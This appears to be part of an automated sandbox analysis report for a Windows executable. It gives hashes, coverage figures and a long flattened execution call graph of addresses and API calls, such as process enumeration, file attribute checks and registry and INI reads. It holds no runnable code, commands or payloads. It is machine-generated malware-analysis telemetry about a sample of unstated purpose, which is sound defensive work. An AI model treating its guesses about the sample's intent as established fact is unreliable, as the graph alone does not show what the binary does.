                      • Instruction ID: 277f4bdee2933866d2d1c697a3b04f0a6a13197b354a533a519a822f1f8833ca
                      • Opcode Fuzzy Hash: 46f42941f51e653cdae40cd00269a703bf4e12df5cc4a1911c605fdb7767d4e6
                      • Instruction Fuzzy Hash: 37419C75244305DFE7248F18DC84BA7B3E8FB48711F00082EEA8A87661F739E845CB99

                      Execution Graph

                      Execution Coverage:5.4%
                      Dynamic/Decrypted Code Coverage:9.2%
                      Signature Coverage:0%
                      Total number of Nodes:1990
                      Total number of Limit Nodes:56
                      execution_graph 37717 4466f4 37736 446904 37717->37736 37719 446700 GetModuleHandleA 37722 446710 __set_app_type __p__fmode __p__commode 37719->37722 37721 4467a4 37723 4467ac __setusermatherr 37721->37723 37724 4467b8 37721->37724 37722->37721 37723->37724 37737 4468f0 _controlfp 37724->37737 37726 4467bd _initterm GetEnvironmentStringsW _initterm 37727 44681e GetStartupInfoW 37726->37727 37728 446810 37726->37728 37730 446866 GetModuleHandleA 37727->37730 37738 41276d 37730->37738 37734 446896 exit 37735 44689d _cexit 37734->37735 37735->37728 37736->37719 37737->37726 37739 41277d 37738->37739 37781 4044a4 LoadLibraryW 37739->37781 37741 412785 37742 412789 37741->37742 37787 414b81 37741->37787 37742->37734 37742->37735 37745 4127c8 37791 412465 memset ??2@YAPAXI 37745->37791 37747 4127ea 37803 40ac21 37747->37803 37752 412813 37821 40dd07 memset 37752->37821 37753 412827 37826 40db69 memset 37753->37826 37757 412822 37848 4125b6 ??3@YAXPAX DeleteObject 37757->37848 37758 40ada2 _wcsicmp 37759 41283d 37758->37759 37759->37757 37762 412863 CoInitialize 37759->37762 37831 41268e 37759->37831 37761 412966 37849 40b1ab ??3@YAXPAX ??3@YAXPAX 37761->37849 37847 4123e2 GetModuleHandleW RegisterClassW GetModuleHandleW CreateWindowExW 37762->37847 37766 41296f 37850 40b633 37766->37850 37768 412873 ShowWindow UpdateWindow GetModuleHandleW LoadAcceleratorsW GetMessageW 37773 412957 CoUninitialize 37768->37773 37778 4128ca 37768->37778 37773->37757 37774 4128d0 TranslateAcceleratorW 37775 412941 GetMessageW 37774->37775 37774->37778 37775->37773 37775->37774 37776 412909 IsDialogMessageW 37776->37775 37776->37778 37777 4128fd IsDialogMessageW 37777->37775 37777->37776 37778->37774 37778->37776 37778->37777 37779 41292b TranslateMessage DispatchMessageW 37778->37779 37780 41291f IsDialogMessageW 37778->37780 37779->37775 37780->37775 37780->37779 37782 4044f3 37781->37782 37786 4044cf FreeLibrary 37781->37786 37784 404507 MessageBoxW 37782->37784 37785 40451e 37782->37785 37784->37741 37785->37741 37786->37782 37788 414b8a 37787->37788 37789 412794 SetErrorMode GetModuleHandleW EnumResourceTypesW 37787->37789 37854 40a804 memset 37788->37854 37789->37745 37792 4124e0 37791->37792 37793 412505 ??2@YAPAXI 37792->37793 37794 41251c 37793->37794 37799 412521 37793->37799 37876 40e820 memset ??2@YAPAXI ??2@YAPAXI ??2@YAPAXI ??2@YAPAXI 37794->37876 37865 444722 37799->37865 37802 41259b wcscpy 37802->37747 37881 40b1ab ??3@YAXPAX ??3@YAXPAX 37803->37881 37807 40ad4b 37816 40ad76 37807->37816 37905 40a9ce 37807->37905 37808 40a9ce malloc memcpy ??3@YAXPAX ??3@YAXPAX 37809 40ac5c 37808->37809 37809->37807 37809->37808 37811 40ace7 ??3@YAXPAX 37809->37811 37809->37816 37885 40a8d0 37809->37885 37897 4099f4 37809->37897 37811->37809 37815 40a8d0 7 API calls 37815->37816 37882 40aa04 37816->37882 37817 40ada2 37818 40adc9 37817->37818 37819 40adaa 37817->37819 37818->37752 37818->37753 37819->37818 37820 40adb3 _wcsicmp 37819->37820 37820->37818 37820->37819 37910 40dce0 37821->37910 37823 40dd3a GetModuleHandleW 37915 40dba7 37823->37915 37827 40dce0 3 API calls 37826->37827 37828 40db99 37827->37828 37987 40dae1 37828->37987 38001 402f3a 37831->38001 37833 412766 37833->37757 37833->37762 37834 4126d3 _wcsicmp 37835 4126a8 37834->37835 37835->37833 37835->37834 37837 41270a 37835->37837 38035 4125f8 7 API calls 37835->38035 37837->37833 38004 411ac5 37837->38004 37847->37768 37848->37761 37849->37766 37851 40b640 37850->37851 37852 40b639 ??3@YAXPAX 37850->37852 37853 40b1ab ??3@YAXPAX ??3@YAXPAX 37851->37853 37852->37851 37853->37742 37855 40a83b GetSystemDirectoryW 37854->37855 37856 40a84c wcscpy 37854->37856 37855->37856 37861 409719 wcslen 37856->37861 37859 40a881 LoadLibraryW 37860 40a886 37859->37860 37860->37789 37862 409724 37861->37862 37863 409739 wcscat LoadLibraryW 37861->37863 37862->37863 37864 40972c wcscat 37862->37864 37863->37859 37863->37860 37864->37863 37866 444732 37865->37866 37867 444728 DeleteObject 37865->37867 37877 409cc3 37866->37877 37867->37866 37869 412551 37870 4010f9 37869->37870 37871 401130 37870->37871 37872 401134 GetModuleHandleW LoadIconW 37871->37872 37873 401107 wcsncat 37871->37873 37874 40a7be 37872->37874 37873->37871 37875 40a7d2 37874->37875 37875->37802 37875->37875 37876->37799 37880 409bfd memset wcscpy 37877->37880 37879 409cdb CreateFontIndirectW 37879->37869 37880->37879 37881->37809 37883 40aa14 37882->37883 37884 40aa0a ??3@YAXPAX 37882->37884 37883->37817 37884->37883 37886 40a8eb 37885->37886 37887 40a8df wcslen 37885->37887 37888 40a906 ??3@YAXPAX 37886->37888 37889 40a90f 37886->37889 37887->37886 37891 40a919 37888->37891 37890 4099f4 3 API calls 37889->37890 37890->37891 37892 40a932 37891->37892 37893 40a929 ??3@YAXPAX 37891->37893 37895 4099f4 3 API calls 37892->37895 37894 40a93e memcpy 37893->37894 37894->37809 37896 40a93d 37895->37896 37896->37894 37898 409a41 37897->37898 37899 4099fb malloc 37897->37899 37898->37809 37901 409a37 37899->37901 37902 409a1c 37899->37902 37901->37809 37903 409a30 ??3@YAXPAX 37902->37903 37904 409a20 memcpy 37902->37904 37903->37901 37904->37903 37906 40a9e7 37905->37906 37907 40a9dc ??3@YAXPAX 37905->37907 37909 4099f4 3 API calls 37906->37909 37908 40a9f2 37907->37908 37908->37815 37909->37908 37934 409bca GetModuleFileNameW 37910->37934 37912 40dce6 wcsrchr 37913 40dcf5 37912->37913 37914 40dcf9 wcscat 37912->37914 37913->37914 37914->37823 37935 44db70 37915->37935 37919 40dbfd 37938 4447d9 37919->37938 37922 40dc34 wcscpy wcscpy 37964 40d6f5 37922->37964 37923 40dc1f wcscpy 37923->37922 37926 40d6f5 3 API calls 37927 40dc73 37926->37927 37928 40d6f5 3 API calls 37927->37928 37929 40dc89 37928->37929 37930 40d6f5 3 API calls 37929->37930 37931 40dc9c EnumResourceNamesW EnumResourceNamesW wcscpy 37930->37931 37970 40da80 37931->37970 37934->37912 37936 40dbb4 memset memset 37935->37936 37937 409bca GetModuleFileNameW 37936->37937 37937->37919 37940 4447f4 37938->37940 37939 40dc1b 37939->37922 37939->37923 37940->37939 37941 444807 ??2@YAPAXI 37940->37941 37942 44481f 37941->37942 37943 444873 _snwprintf 37942->37943 37944 4448ab wcscpy 37942->37944 37977 44474a 8 API calls 37943->37977 37946 4448bb 37944->37946 37978 44474a 8 API calls 37946->37978 37947 4448a7 37947->37944 37947->37946 37949 4448cd 37979 44474a 8 API calls 37949->37979 37951 4448e2 37980 44474a 8 API calls 37951->37980 37953 4448f7 37981 44474a 8 API calls 37953->37981 37955 44490c 37982 44474a 8 API calls 37955->37982 37957 444921 37983 44474a 8 API calls 37957->37983 37959 444936 37984 44474a 8 API calls 37959->37984 37961 44494b 37985 44474a 8 API calls 37961->37985 37963 444960 ??3@YAXPAX 37963->37939 37965 44db70 37964->37965 37966 40d702 memset GetPrivateProfileStringW 37965->37966 37967 40d752 37966->37967 37968 40d75c WritePrivateProfileStringW 37966->37968 37967->37968 37969 40d758 37967->37969 37968->37969 37969->37926 37971 44db70 37970->37971 37972 40da8d memset 37971->37972 37973 40daac LoadStringW 37972->37973 37974 40dac6 37973->37974 37974->37973 37976 40dade 37974->37976 37986 40d76e memset GetPrivateProfileStringW WritePrivateProfileStringW memset _itow 37974->37986 37976->37757 37977->37947 37978->37949 37979->37951 37980->37953 37981->37955 37982->37957 37983->37959 37984->37961 37985->37963 37986->37974 37997 409b98 GetFileAttributesW 37987->37997 37989 40daea 37990 40daef wcscpy wcscpy GetPrivateProfileIntW 37989->37990 37996 40db63 37989->37996 37998 40d65d GetPrivateProfileStringW 37990->37998 37992 40db3e 37999 40d65d GetPrivateProfileStringW 37992->37999 37994 40db4f 38000 40d65d GetPrivateProfileStringW 37994->38000 37996->37758 37997->37989 37998->37992 37999->37994 38000->37996 38036 40eaff 38001->38036 38005 411ae2 memset 38004->38005 38006 411b8f 38004->38006 38077 409bca GetModuleFileNameW 38005->38077 38018 411a8b 38006->38018 38008 411b0a wcsrchr 38009 411b22 wcscat 38008->38009 38010 411b1f 38008->38010 38078 414770 wcscpy wcscpy wcscpy CloseHandle 38009->38078 38010->38009 38012 411b67 38079 402afb 38012->38079 38016 411b7f 38135 40ea13 SendMessageW memset SendMessageW 38016->38135 38019 402afb 27 API calls 38018->38019 38020 411ac0 38019->38020 38021 4110dc 38020->38021 38022 41113e 38021->38022 38027 4110f0 38021->38027 38160 40969c LoadCursorW SetCursor 38022->38160 38024 411143 38161 4032b4 38024->38161 38179 444a54 38024->38179 38025 4110f7 _wcsicmp 38025->38027 38026 411157 38028 40ada2 _wcsicmp 38026->38028 38027->38022 38027->38025 38182 410c46 10 API calls 38027->38182 38031 411167 38028->38031 38029 4111af 38031->38029 38032 4111a6 qsort 38031->38032 38032->38029 38035->37835 38037 40eb10 38036->38037 38050 40e8e0 38037->38050 38040 40eb6c memcpy memcpy 38041 40ebe1 38040->38041 38047 40ebb7 38040->38047 38041->38040 38042 40ebf2 ??2@YAPAXI ??2@YAPAXI 38041->38042 38044 40ec65 38042->38044 38045 40ec2e ??2@YAPAXI 38042->38045 38043 40d134 16 API calls 38043->38047 38060 40ea7f 38044->38060 38045->38044 38047->38041 38047->38043 38049 402f49 38049->37835 38051 40e8f2 38050->38051 38052 40e8eb ??3@YAXPAX 38050->38052 38053 40e900 38051->38053 38054 40e8f9 ??3@YAXPAX 38051->38054 38052->38051 38055 40e911 38053->38055 38056 40e90a ??3@YAXPAX 38053->38056 38054->38053 38057 40e931 ??2@YAPAXI ??2@YAPAXI 38055->38057 38058 40e921 ??3@YAXPAX 38055->38058 38059 40e92a ??3@YAXPAX 38055->38059 38056->38055 38057->38040 38058->38059 38059->38057 38061 40aa04 ??3@YAXPAX 38060->38061 38062 40ea88 38061->38062 38063 40aa04 ??3@YAXPAX 38062->38063 38064 40ea90 38063->38064 38065 40aa04 ??3@YAXPAX 38064->38065 38066 40ea98 38065->38066 38067 40aa04 ??3@YAXPAX 38066->38067 38068 40eaa0 38067->38068 38069 40a9ce 4 API calls 38068->38069 38070 40eab3 38069->38070 38071 40a9ce 4 API calls 38070->38071 38072 40eabd 38071->38072 38073 40a9ce 4 API calls 38072->38073 38074 40eac7 38073->38074 38075 40a9ce 4 API calls 38074->38075 38076 40ead1 38075->38076 38076->38049 38077->38008 38078->38012 38136 40b2cc 38079->38136 38081 402b0a 38082 40b2cc 27 API calls 38081->38082 38083 402b23 38082->38083 38084 40b2cc 27 API calls 38083->38084 38085 402b3a 38084->38085 38086 40b2cc 27 API calls 38085->38086 38087 402b54 38086->38087 38088 40b2cc 27 API calls 38087->38088 38089 402b6b 38088->38089 38090 40b2cc 27 API calls 38089->38090 38091 402b82 38090->38091 38092 40b2cc 27 API calls 38091->38092 38093 402b99 38092->38093 38094 40b2cc 27 API calls 38093->38094 38095 402bb0 38094->38095 38096 40b2cc 27 API calls 38095->38096 38097 402bc7 38096->38097 38098 40b2cc 27 API calls 38097->38098 38099 402bde 38098->38099 38100 40b2cc 27 API calls 38099->38100 38101 402bf5 38100->38101 38102 40b2cc 27 API calls 38101->38102 38103 402c0c 38102->38103 38104 40b2cc 27 API calls 38103->38104 38105 402c23 38104->38105 38106 40b2cc 27 API calls 38105->38106 38107 402c3a 38106->38107 38108 40b2cc 27 API calls 38107->38108 38109 402c51 38108->38109 38110 40b2cc 27 API calls 38109->38110 38111 402c68 38110->38111 38112 40b2cc 27 API calls 38111->38112 38113 402c7f 38112->38113 38114 40b2cc 27 API calls 38113->38114 38115 402c99 38114->38115 38116 40b2cc 27 API calls 38115->38116 38117 402cb3 38116->38117 38118 40b2cc 27 API calls 38117->38118 38119 402cd5 38118->38119 38120 40b2cc 27 API calls 38119->38120 38121 402cf0 38120->38121 38122 40b2cc 27 API calls 38121->38122 38123 402d0b 38122->38123 38124 40b2cc 27 API calls 38123->38124 38125 402d26 38124->38125 38126 40b2cc 27 API calls 38125->38126 38127 402d3e 38126->38127 38128 40b2cc 27 API calls 38127->38128 38129 402d59 38128->38129 38130 40b2cc 27 API calls 38129->38130 38131 402d78 38130->38131 38132 40b2cc 27 API calls 38131->38132 38133 402d93 38132->38133 38134 4018db GetWindowPlacement memset GetSystemMetrics GetSystemMetrics SetWindowPlacement 38133->38134 38134->38016 38135->38006 38139 40b58d 38136->38139 38138 40b2d1 38138->38081 38140 40b5a4 GetModuleHandleW FindResourceW 38139->38140 38141 40b62e 38139->38141 38142 40b5c2 LoadResource 38140->38142 38144 40b5e7 38140->38144 38141->38138 38143 40b5d0 SizeofResource LockResource 38142->38143 38142->38144 38143->38144 38144->38141 38152 40afcf 38144->38152 38146 40b608 memcpy 38155 40b4d3 memcpy 38146->38155 38148 40b61e 38156 40b3c1 18 API calls 38148->38156 38150 40b626 38157 40b04b 38150->38157 38153 40b04b ??3@YAXPAX 38152->38153 38154 40afd7 ??2@YAPAXI 38153->38154 38154->38146 38155->38148 38156->38150 38158 40b051 ??3@YAXPAX 38157->38158 38159 40b05f 38157->38159 38158->38159 38159->38141 38160->38024 38162 4032c4 38161->38162 38163 40b633 ??3@YAXPAX 38162->38163 38164 403316 38163->38164 38183 44553b 38164->38183 38168 403480 38381 40368c 15 API calls 38168->38381 38170 403489 38171 40b633 ??3@YAXPAX 38170->38171 38173 403495 38171->38173 38172 40333c 38172->38168 38174 4033a9 memset memcpy 38172->38174 38175 4033ec wcscmp 38172->38175 38379 4028e7 11 API calls 38172->38379 38380 40f508 6 API calls 38172->38380 38173->38026 38174->38172 38174->38175 38175->38172 38177 403421 _wcsicmp 38177->38172 38180 444a64 FreeLibrary 38179->38180 38181 444a83 38179->38181 38180->38181 38181->38026 38182->38027 38184 445548 38183->38184 38185 445599 38184->38185 38382 40c768 38184->38382 38186 4455a8 memset 38185->38186 38329 4457f2 38185->38329 38466 403988 38186->38466 38192 4455e5 38201 445672 38192->38201 38212 44560f 38192->38212 38194 4458bb memset memset 38198 414c2e 16 API calls 38194->38198 38196 4459ed 38202 445a00 memset memset 38196->38202 38203 445b22 38196->38203 38197 44595e memset memset 38204 414c2e 16 API calls 38197->38204 38205 4458f9 38198->38205 38199 44557a 38206 44558c 38199->38206 38446 4136c0 38199->38446 38477 403fbe memset memset memset memset memset 38201->38477 38209 414c2e 16 API calls 38202->38209 38214 445bca 38203->38214 38215 445b38 memset memset memset 38203->38215 38210 44599c 38204->38210 38211 40b2cc 27 API calls 38205->38211 38450 444b06 38206->38450 38218 445a3e 38209->38218 38220 40b2cc 27 API calls 38210->38220 38221 445909 38211->38221 38223 4087b3 335 API calls 38212->38223 38222 445c8b memset memset 38214->38222 38279 445cf0 38214->38279 38226 445bd4 38215->38226 38227 445b98 38215->38227 38216 445849 38660 40b1ab ??3@YAXPAX ??3@YAXPAX 38216->38660 38228 40b2cc 27 API calls 38218->38228 38236 4459ac 38220->38236 38232 409d1f 6 API calls 38221->38232 38237 414c2e 16 API calls 38222->38237 38233 445621 38223->38233 38225 44589f 38661 40b1ab ??3@YAXPAX ??3@YAXPAX 38225->38661 38615 414c2e 38226->38615 38227->38226 38239 445ba2 38227->38239 38241 445a4f 38228->38241 38231 403335 38378 4452e5 43 API calls 38231->38378 38247 445919 38232->38247 38646 4454bf 20 API calls 38233->38646 38234 445823 38234->38216 38257 4087b3 335 API calls 38234->38257 38235 445854 38242 4458aa 38235->38242 38592 403c9c memset memset memset memset memset 38235->38592 38248 409d1f 6 API calls 38236->38248 38249 445cc9 38237->38249 38751 4099c6 wcslen 38239->38751 38240 4456b2 38648 40b1ab ??3@YAXPAX ??3@YAXPAX 38240->38648 38254 409d1f 6 API calls 38241->38254 38242->38194 38276 44594a 38242->38276 38245 445d3d 38275 40b2cc 27 API calls 38245->38275 38246 445d88 memset memset memset 38258 414c2e 16 API calls 38246->38258 38662 409b98 GetFileAttributesW 38247->38662 38259 4459bc 38248->38259 38260 409d1f 6 API calls 38249->38260 38250 445879 38250->38225 38261 4087b3 335 API calls 38250->38261 38252 445bb3 38754 445403 memset 38252->38754 38253 445680 38253->38240 38500 4087b3 memset 38253->38500 38263 445a63 38254->38263 38255 40b2cc 27 API calls 38264 445bf3 38255->38264 38257->38234 38267 445dde 38258->38267 38727 409b98 GetFileAttributesW 38259->38727 38269 445ce1 38260->38269 38261->38250 38273 40b2cc 27 API calls 38263->38273 38631 409d1f wcslen wcslen 38264->38631 38265 445928 38265->38276 38663 40b6ef 38265->38663 38277 40b2cc 27 API calls 38267->38277 38771 409b98 GetFileAttributesW 38269->38771 38281 445a94 38273->38281 38284 445d54 _wcsicmp 38275->38284 38276->38196 38276->38197 38287 445def 38277->38287 38278 4459cb 38278->38196 38294 40b6ef 249 API calls 38278->38294 38279->38231 38279->38245 38279->38246 38280 445389 255 API calls 38280->38214 38728 40ae18 38281->38728 38282 44566d 38282->38329 38551 413d4c 38282->38551 38291 445d71 38284->38291 38355 445d67 38284->38355 38286 445665 38647 40b1ab ??3@YAXPAX ??3@YAXPAX 38286->38647 38292 409d1f 6 API calls 38287->38292 38772 445093 23 API calls 38291->38772 38299 445e03 38292->38299 38294->38196 38295 4456d8 38301 40b2cc 27 API calls 38295->38301 38298 44563c 38298->38286 38304 4087b3 335 API calls 38298->38304 38773 409b98 GetFileAttributesW 38299->38773 38300 40b6ef 249 API calls 38300->38231 38306 4456e2 38301->38306 38302 40b2cc 27 API calls 38307 445c23 38302->38307 38303 445d83 38303->38231 38304->38298 38649 413fa6 _wcsicmp _wcsicmp 38306->38649 38311 409d1f 6 API calls 38307->38311 38309 445e12 38315 445e6b 38309->38315 38322 40b2cc 27 API calls 38309->38322 38313 445c37 38311->38313 38312 4456eb 38318 4456fd memset memset memset memset 38312->38318 38319 4457ea 38312->38319 38320 445389 255 API calls 38313->38320 38314 445b17 38748 40aebe 38314->38748 38775 445093 23 API calls 38315->38775 38650 409c70 wcscpy wcsrchr 38318->38650 38653 413d29 38319->38653 38326 445c47 38320->38326 38327 445e33 38322->38327 38324 445e7e 38330 445f67 38324->38330 38333 40b2cc 27 API calls 38326->38333 38328 409d1f 6 API calls 38327->38328 38334 445e47 38328->38334 38329->38235 38569 403e2d memset memset memset memset memset 38329->38569 38335 40b2cc 27 API calls 38330->38335 38331 445ab2 memset 38336 40b2cc 27 API calls 38331->38336 38338 445c53 38333->38338 38774 409b98 GetFileAttributesW 38334->38774 38340 445f73 38335->38340 38341 445aa1 38336->38341 38337 409c70 2 API calls 38342 44577e 38337->38342 38343 409d1f 6 API calls 38338->38343 38345 409d1f 6 API calls 38340->38345 38341->38314 38341->38331 38346 409d1f 6 API calls 38341->38346 38354 445389 255 API calls 38341->38354 38735 40add4 38341->38735 38740 40ae51 38341->38740 38347 409c70 2 API calls 38342->38347 38348 445c67 38343->38348 38344 445e56 38344->38315 38352 445e83 memset 38344->38352 38349 445f87 38345->38349 38346->38341 38350 44578d 38347->38350 38351 445389 255 API calls 38348->38351 38778 409b98 GetFileAttributesW 38349->38778 38350->38319 38357 40b2cc 27 API calls 38350->38357 38351->38214 38356 40b2cc 27 API calls 38352->38356 38354->38341 38355->38231 38355->38300 38358 445eab 38356->38358 38359 4457a8 38357->38359 38360 409d1f 6 API calls 38358->38360 38361 409d1f 6 API calls 38359->38361 38362 445ebf 38360->38362 38363 4457b8 38361->38363 38364 40ae18 9 API calls 38362->38364 38652 409b98 GetFileAttributesW 38363->38652 38374 445ef5 38364->38374 38366 4457c7 38366->38319 38367 4087b3 335 API calls 38366->38367 38367->38319 38368 40ae51 9 API calls 38368->38374 38369 445f5c 38370 40aebe FindClose 38369->38370 38370->38330 38371 40add4 2 API calls 38371->38374 38372 40b2cc 27 API calls 38372->38374 38373 409d1f 6 API calls 38373->38374 38374->38368 38374->38369 38374->38371 38374->38372 38374->38373 38376 445f3a 38374->38376 38776 409b98 GetFileAttributesW 38374->38776 38777 445093 23 API calls 38376->38777 38378->38172 38379->38177 38380->38172 38381->38170 38383 40c775 38382->38383 38779 40b1ab ??3@YAXPAX ??3@YAXPAX 38383->38779 38385 40c788 38780 40b1ab ??3@YAXPAX ??3@YAXPAX 38385->38780 38387 40c790 38781 40b1ab ??3@YAXPAX ??3@YAXPAX 38387->38781 38389 40c798 38390 40aa04 ??3@YAXPAX 38389->38390 38391 40c7a0 38390->38391 38782 40c274 memset 38391->38782 38396 40a8ab 9 API calls 38397 40c7c3 38396->38397 38398 40a8ab 9 API calls 38397->38398 38399 40c7d0 38398->38399 38811 40c3c3 38399->38811 38403 40c877 38412 40bdb0 38403->38412 38404 40c86c 38839 4053fe 37 API calls 38404->38839 38407 40c813 _wcslwr 38837 40c634 47 API calls 38407->38837 38409 40c829 wcslen 38410 40c7e5 38409->38410 38410->38403 38410->38404 38836 40a706 wcslen memcpy 38410->38836 38838 40c634 47 API calls 38410->38838 38973 404363 38412->38973 38417 40b2cc 27 API calls 38418 40be02 wcslen 38417->38418 38419 40bf5d 38418->38419 38427 40be1e 38418->38427 38990 40440c 38419->38990 38420 40be26 _wcsncoll 38420->38427 38423 40be7d memset 38424 40bea7 memcpy 38423->38424 38423->38427 38425 40bf11 wcschr 38424->38425 38424->38427 38425->38427 38426 40b2cc 27 API calls 38428 40bef6 _wcsnicmp 38426->38428 38427->38419 38427->38420 38427->38423 38427->38424 38427->38425 38427->38426 38429 40bf43 LocalFree 38427->38429 38993 40bd5d 28 API calls 38427->38993 38994 404423 38427->38994 38428->38425 38428->38427 38429->38427 38430 4135f7 39006 4135e0 38430->39006 38433 40b2cc 27 API calls 38434 41360d 38433->38434 38435 40a804 8 API calls 38434->38435 38436 413613 38435->38436 38437 41363e 38436->38437 38439 40b273 27 API calls 38436->38439 38438 4135e0 FreeLibrary 38437->38438 38440 413643 38438->38440 38441 413625 38439->38441 38440->38199 38441->38437 38442 413648 38441->38442 38443 413658 38442->38443 38444 4135e0 FreeLibrary 38442->38444 38443->38199 38445 413666 38444->38445 38445->38199 38448 4136e2 38446->38448 38447 413827 38645 41366b FreeLibrary 38447->38645 38448->38447 38449 4137ac CoTaskMemFree 38448->38449 38449->38448 39009 4449b9 38450->39009 38453 444c1f 38453->38185 38454 4449b9 35 API calls 38456 444b4b 38454->38456 38455 444c15 38458 4449b9 35 API calls 38455->38458 38456->38455 39029 444972 GetVersionExW 38456->39029 38458->38453 38459 444b8c 38460 444b99 memcmp 38459->38460 38461 444c0b 38459->38461 39030 444aa5 35 API calls 38459->39030 39031 40a7a0 GetVersionExW 38459->39031 39032 444a85 35 API calls 38459->39032 38460->38459 39033 444a85 35 API calls 38461->39033 38467 40399d 38466->38467 39034 403a16 38467->39034 38469 403a09 39048 40b1ab ??3@YAXPAX ??3@YAXPAX 38469->39048 38471 403a12 wcsrchr 38471->38192 38472 4039a3 38472->38469 38475 4039f4 38472->38475 39045 40a02c CreateFileW 38472->39045 38475->38469 38476 4099c6 2 API calls 38475->38476 38476->38469 38478 414c2e 16 API calls 38477->38478 38479 404048 38478->38479 38480 414c2e 16 API calls 38479->38480 38481 404056 38480->38481 38482 409d1f 6 API calls 38481->38482 38483 404073 38482->38483 38484 409d1f 6 API calls 38483->38484 38485 40408e 38484->38485 38486 409d1f 6 API calls 38485->38486 38487 4040a6 38486->38487 38488 403af5 20 API calls 38487->38488 38489 4040ba 38488->38489 38490 403af5 20 API calls 38489->38490 38491 4040cb 38490->38491 39075 40414f memset 38491->39075 38493 404140 39089 40b1ab ??3@YAXPAX ??3@YAXPAX 38493->39089 38495 4040ec memset 38498 4040e0 38495->38498 38496 404148 38496->38253 38497 4099c6 2 API calls 38497->38498 38498->38493 38498->38495 38498->38497 38499 40a8ab 9 API calls 38498->38499 38499->38498 39102 40a6e6 WideCharToMultiByte 38500->39102 38502 4087ed 39103 4095d9 memset 38502->39103 38505 408809 memset memset memset memset memset 38506 40b2cc 27 API calls 38505->38506 38507 4088a1 38506->38507 38508 409d1f 6 API calls 38507->38508 38509 4088b1 38508->38509 38510 40b2cc 27 API calls 38509->38510 38511 4088c0 38510->38511 38512 409d1f 6 API calls 38511->38512 38513 4088d0 38512->38513 38514 40b2cc 27 API calls 38513->38514 38515 4088df 38514->38515 38516 409d1f 6 API calls 38515->38516 38517 4088ef 38516->38517 38518 40b2cc 27 API calls 38517->38518 38519 4088fe 38518->38519 38520 409d1f 6 API calls 38519->38520 38521 40890e 38520->38521 38522 40b2cc 27 API calls 38521->38522 38523 40891d 38522->38523 38524 409d1f 6 API calls 38523->38524 38525 40892d 38524->38525 39120 409b98 GetFileAttributesW 38525->39120 38527 40893e 38528 408943 38527->38528 38529 408958 38527->38529 39121 407fdf 75 API calls 38528->39121 39122 409b98 GetFileAttributesW 38529->39122 38532 408964 38533 408969 38532->38533 38534 40897b 38532->38534 39123 4082c7 198 API calls 38533->39123 39124 409b98 GetFileAttributesW 38534->39124 38537 408953 38537->38253 38538 408987 38539 4089a1 38538->38539 38540 40898c 38538->38540 39126 409b98 GetFileAttributesW 38539->39126 39125 408560 29 API calls 38540->39125 38543 4089ad 38544 4089b2 38543->38544 38545 4089c7 38543->38545 39127 408560 29 API calls 38544->39127 39128 409b98 GetFileAttributesW 38545->39128 38548 4089d3 38548->38537 38549 4089d8 38548->38549 39129 408560 29 API calls 38549->39129 38552 40b633 ??3@YAXPAX 38551->38552 38553 413d65 CreateToolhelp32Snapshot memset Process32FirstW 38552->38553 38554 413f00 Process32NextW 38553->38554 38555 413da5 OpenProcess 38554->38555 38556 413f17 CloseHandle 38554->38556 38557 413df3 memset 38555->38557 38560 413eb0 38555->38560 38556->38295 39152 413f27 38557->39152 38559 413ebf ??3@YAXPAX 38559->38560 38560->38554 38560->38559 38561 4099f4 3 API calls 38560->38561 38561->38560 38562 413e37 GetModuleHandleW 38564 413e46 38562->38564 38566 413e1f 38562->38566 38564->38566 38565 413e6a QueryFullProcessImageNameW 38565->38566 38566->38562 38566->38565 39157 413959 38566->39157 39173 413ca4 38566->39173 38568 413ea2 CloseHandle 38568->38560 38570 414c2e 16 API calls 38569->38570 38571 403eb7 38570->38571 38572 414c2e 16 API calls 38571->38572 38573 403ec5 38572->38573 38574 409d1f 6 API calls 38573->38574 38575 403ee2 38574->38575 38576 409d1f 6 API calls 38575->38576 38577 403efd 38576->38577 38578 409d1f 6 API calls 38577->38578 38579 403f15 38578->38579 38580 403af5 20 API calls 38579->38580 38581 403f29 38580->38581 38582 403af5 20 API calls 38581->38582 38583 403f3a 38582->38583 38584 40414f 33 API calls 38583->38584 38590 403f4f 38584->38590 38585 403faf 39186 40b1ab ??3@YAXPAX ??3@YAXPAX 38585->39186 38586 403f5b memset 38586->38590 38588 403fb7 38588->38234 38589 4099c6 2 API calls 38589->38590 38590->38585 38590->38586 38590->38589 38591 40a8ab 9 API calls 38590->38591 38591->38590 38593 414c2e 16 API calls 38592->38593 38594 403d26 38593->38594 38595 414c2e 16 API calls 38594->38595 38596 403d34 38595->38596 38597 409d1f 6 API calls 38596->38597 38598 403d51 38597->38598 38599 409d1f 6 API calls 38598->38599 38600 403d6c 38599->38600 38601 409d1f 6 API calls 38600->38601 38602 403d84 38601->38602 38603 403af5 20 API calls 38602->38603 38604 403d98 38603->38604 38605 403af5 20 API calls 38604->38605 38606 403da9 38605->38606 38607 40414f 33 API calls 38606->38607 38613 403dbe 38607->38613 38608 403e1e 39187 40b1ab ??3@YAXPAX ??3@YAXPAX 38608->39187 38609 403dca memset 38609->38613 38611 403e26 38611->38250 38612 4099c6 2 API calls 38612->38613 38613->38608 38613->38609 38613->38612 38614 40a8ab 9 API calls 38613->38614 38614->38613 38616 414b81 8 API calls 38615->38616 38617 414c40 38616->38617 38618 414c73 memset 38617->38618 39188 409cea 38617->39188 38620 414c94 38618->38620 39191 414592 RegOpenKeyExW 38620->39191 38622 414c64 SHGetSpecialFolderPathW 38624 414d0b 38622->38624 38624->38255 38625 414cc1 38626 414cf4 wcscpy 38625->38626 39192 414bb0 wcscpy 38625->39192 38626->38624 38628 414cd2 39193 4145ac RegQueryValueExW 38628->39193 38630 414ce9 RegCloseKey 38630->38626 38632 409d62 38631->38632 38633 409d43 wcscpy 38631->38633 38636 445389 38632->38636 38634 409719 2 API calls 38633->38634 38635 409d51 wcscat 38634->38635 38635->38632 38637 40ae18 9 API calls 38636->38637 38642 4453c4 38637->38642 38638 40ae51 9 API calls 38638->38642 38639 4453f3 38641 40aebe FindClose 38639->38641 38640 40add4 2 API calls 38640->38642 38643 4453fe 38641->38643 38642->38638 38642->38639 38642->38640 38644 445403 250 API calls 38642->38644 38643->38302 38644->38642 38645->38206 38646->38298 38647->38282 38648->38282 38649->38312 38651 409c89 38650->38651 38651->38337 38652->38366 38654 413d39 38653->38654 38655 413d2f FreeLibrary 38653->38655 38656 40b633 ??3@YAXPAX 38654->38656 38655->38654 38657 413d42 38656->38657 38658 40b633 ??3@YAXPAX 38657->38658 38659 413d4a 38658->38659 38659->38329 38660->38235 38661->38242 38662->38265 38664 44db70 38663->38664 38665 40b6fc memset 38664->38665 38666 409c70 2 API calls 38665->38666 